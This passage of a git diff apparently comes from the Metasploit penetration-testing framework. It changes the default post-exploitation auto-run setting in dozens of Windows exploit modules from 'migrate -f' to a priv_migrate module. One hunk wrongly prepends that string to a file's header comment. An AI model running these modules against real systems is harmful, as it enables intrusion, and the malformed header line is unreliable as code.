MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, # Bug was patched in July 2013. Tsai was the first to publish the bug. diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb index fc2563ea71..bc1a43968d 100644 --- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb @@ -75,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "Jun 27 2013", diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index 6178bc76a8..ea4b88d0fd 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -72,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "Sep 10 2013", diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 6ee1ddd0da..e635e9d0f5 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -76,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { #'PrependMigrate' => true, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, # Jsunpack first received a sample to analyze on Sep 12 2013. diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb index 136025b1a0..04a9053d34 100644 --- a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb +++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb @@ -94,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false }, 'Privileged' => false, diff --git a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb index 5b709aacba..8905a75dc4 100644 --- a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb +++ b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'Retries' => false }, 'Targets' => diff --git a/modules/exploits/windows/browser/ms14_012_textrange.rb b/modules/exploits/windows/browser/ms14_012_textrange.rb index 5b2f00c98e..8b62789967 100644 --- a/modules/exploits/windows/browser/ms14_012_textrange.rb +++ b/modules/exploits/windows/browser/ms14_012_textrange.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'Retries' => false, # You're too kind, tab recovery, I only need 1 shell. - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday 'DefaultTarget' => 0)) diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb index dac7e039f8..d55c8d119f 100644 --- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb +++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb index a61d88ca68..98709c17f2 100644 --- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ntr_activex_check_bof.rb b/modules/exploits/windows/browser/ntr_activex_check_bof.rb index 611029ad99..a309616e1f 100644 --- a/modules/exploits/windows/browser/ntr_activex_check_bof.rb +++ b/modules/exploits/windows/browser/ntr_activex_check_bof.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb index e943b11db0..18cdbcf0f9 100644 --- a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb +++ b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb index f4cccba075..57f35dfbae 100644 --- a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb +++ b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb @@ -56,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb index 9335d80815..9d51003aa1 100644 --- a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb +++ b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f -k' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb index 7184ac812a..4bb79207f8 100644 --- a/modules/exploits/windows/browser/ovftool_format_string.rb +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -51,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/pcvue_func.rb b/modules/exploits/windows/browser/pcvue_func.rb index d4018ccb1e..7d067b8eb4 100644 --- a/modules/exploits/windows/browser/pcvue_func.rb +++ b/modules/exploits/windows/browser/pcvue_func.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/quickr_qp2_bof.rb b/modules/exploits/windows/browser/quickr_qp2_bof.rb index af452faef1..a9ed766c59 100644 --- a/modules/exploits/windows/browser/quickr_qp2_bof.rb +++ b/modules/exploits/windows/browser/quickr_qp2_bof.rb @@ -59,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/realplayer_qcp.rb b/modules/exploits/windows/browser/realplayer_qcp.rb index 5b81c4d16d..1b07abfa48 100644 --- a/modules/exploits/windows/browser/realplayer_qcp.rb +++ b/modules/exploits/windows/browser/realplayer_qcp.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/safari_xslt_output.rb b/modules/exploits/windows/browser/safari_xslt_output.rb index 2397e4d9f4..4a1686f131 100644 --- a/modules/exploits/windows/browser/safari_xslt_output.rb +++ b/modules/exploits/windows/browser/safari_xslt_output.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb index 057ff83b3c..53ac3660ed 100644 --- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb +++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb index 73ca64f4bd..571f5785ce 100644 --- a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb +++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb index f950ccbaac..a0c78377bb 100644 --- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -74,7 +74,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Privileged' => false, 'DisclosureDate' => "May 30 2013", diff --git a/modules/exploits/windows/browser/teechart_pro.rb b/modules/exploits/windows/browser/teechart_pro.rb index 4540017403..84ee5ad5ef 100644 --- a/modules/exploits/windows/browser/teechart_pro.rb +++ b/modules/exploits/windows/browser/teechart_pro.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb index 4544396f52..1d2957285a 100644 --- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb +++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb index 3f80edb8c0..1ae1aa5fda 100644 --- a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb +++ b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb index aafaccaa1b..71c60f312d 100644 --- a/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb +++ b/modules/exploits/windows/browser/viscom_movieplayer_drawtext.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => false, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/browser/vlc_amv.rb b/modules/exploits/windows/browser/vlc_amv.rb index e414e6fa6f..833f151a25 100644 --- a/modules/exploits/windows/browser/vlc_amv.rb +++ b/modules/exploits/windows/browser/vlc_amv.rb @@ -48,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/vlc_mms_bof.rb b/modules/exploits/windows/browser/vlc_mms_bof.rb index 2e33ace44f..bc823fdf71 100644 --- a/modules/exploits/windows/browser/vlc_mms_bof.rb +++ b/modules/exploits/windows/browser/vlc_mms_bof.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "process", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/browser/webex_ucf_newobject.rb b/modules/exploits/windows/browser/webex_ucf_newobject.rb index 6e337c99a7..d624fa9a03 100644 --- a/modules/exploits/windows/browser/webex_ucf_newobject.rb +++ b/modules/exploits/windows/browser/webex_ucf_newobject.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb index ea7cda3260..73e9252478 100644 --- a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb +++ b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'BrowserRequirements' => { diff --git a/modules/exploits/windows/browser/wmi_admintools.rb b/modules/exploits/windows/browser/wmi_admintools.rb index e73dab9d78..e847a7952b 100644 --- a/modules/exploits/windows/browser/wmi_admintools.rb +++ b/modules/exploits/windows/browser/wmi_admintools.rb @@ -52,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb index 07d4cd0d81..8c1ba38bf0 100644 --- a/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb +++ b/modules/exploits/windows/browser/x360_video_player_set_text_bof.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Arch' => ARCH_X86, diff --git a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb index 3a30a85b77..1ddbe7e53e 100644 --- a/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb +++ b/modules/exploits/windows/browser/zenworks_helplauncher_exec.rb @@ -42,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb index b552117821..8c5e737b33 100644 --- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'DisablePayloadHandler' => 'true', }, 'Payload' => diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb index 6bc77221ec..e41db7aeae 100644 --- a/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb +++ b/modules/exploits/windows/fileformat/adobe_flashplayer_button.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'DisablePayloadHandler' => 'true', }, 'Payload' => diff --git a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb index 5e519cd03f..d2af4a71e4 100644 --- a/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb +++ b/modules/exploits/windows/fileformat/adobe_flashplayer_newfunction.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'DisablePayloadHandler' => 'true', }, 'Payload' => diff --git a/modules/exploits/windows/fileformat/adobe_libtiff.rb b/modules/exploits/windows/fileformat/adobe_libtiff.rb index d7a76340f7..0d7ef090e8 100644 --- a/modules/exploits/windows/fileformat/adobe_libtiff.rb +++ b/modules/exploits/windows/fileformat/adobe_libtiff.rb @@ -1,4 +1,4 @@ -## +post/windows/manage/priv_migrate## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -38,7 +38,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', 'DisablePayloadHandler' => 'true', }, 'Payload' => diff --git a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb index 4e643c9134..3452aced1e 100644 --- a/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb +++ b/modules/exploits/windows/fileformat/cyberlink_p2g_bof.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb index e7c7606b63..5f09b2be60 100644 --- a/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb +++ b/modules/exploits/windows/fileformat/esignal_styletemplate_bof.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb index 4ef262a804..e2a17b49a4 100644 --- a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb +++ b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb @@ -45,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb index 24283fda76..668d94bf17 100644 --- a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb +++ b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'seh', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb index 485b6ba9d9..611d2f21e1 100644 --- a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb +++ b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb @@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'EXITFUNC' => "process", 'DisablePayloadHandler' => 'true', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb index 189433c05f..c5c6b9af07 100644 --- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb +++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb @@ -36,7 +36,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/cogent_datahub_command.rb b/modules/exploits/windows/http/cogent_datahub_command.rb index 2fb6931fe2..6d7f539b48 100644 --- a/modules/exploits/windows/http/cogent_datahub_command.rb +++ b/modules/exploits/windows/http/cogent_datahub_command.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'WfsDelay' => 30, - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Targets' => [ diff --git a/modules/exploits/windows/http/cyclope_ess_sqli.rb b/modules/exploits/windows/http/cyclope_ess_sqli.rb index 3ce543f576..b9bc3c016c 100644 --- a/modules/exploits/windows/http/cyclope_ess_sqli.rb +++ b/modules/exploits/windows/http/cyclope_ess_sqli.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'InitialAutoRunScript' => 'migrate -f' + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate' }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb index e219d739fc..7e7beb92f2 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb index 241ec0cf1a..ed854078fd 100644 --- a/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb +++ b/modules/exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/hp_nnm_ovas.rb b/modules/exploits/windows/http/hp_nnm_ovas.rb index 8982d9bbbe..cb1cb33e23 100644 --- a/modules/exploits/windows/http/hp_nnm_ovas.rb +++ b/modules/exploits/windows/http/hp_nnm_ovas.rb @@ -49,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote { 'WfsDelay' => 45, 'EXITFUNC' => 'thread', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb index 37d8c6bd7d..983dab3561 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb @@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb index 47d8108ede..f3be23758f 100644 --- a/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb +++ b/modules/exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb @@ -66,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => "seh", - "InitialAutoRunScript" => "migrate -f", + "InitialAutoRunScript" => "post/windows/manage/priv_migrate", }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/misc/citrix_streamprocess.rb b/modules/exploits/windows/misc/citrix_streamprocess.rb index b67a2c6433..cd7a9bfb62 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote { # best at delaying/preventing target crashing post-exploit 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb index e67cc1e95e..b3b75c9574 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb @@ -37,7 +37,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb index 5d48e0a692..202b6351b9 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb @@ -35,7 +35,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', - 'InitialAutoRunScript' => 'migrate -f', + 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate', }, 'Payload' => { diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb 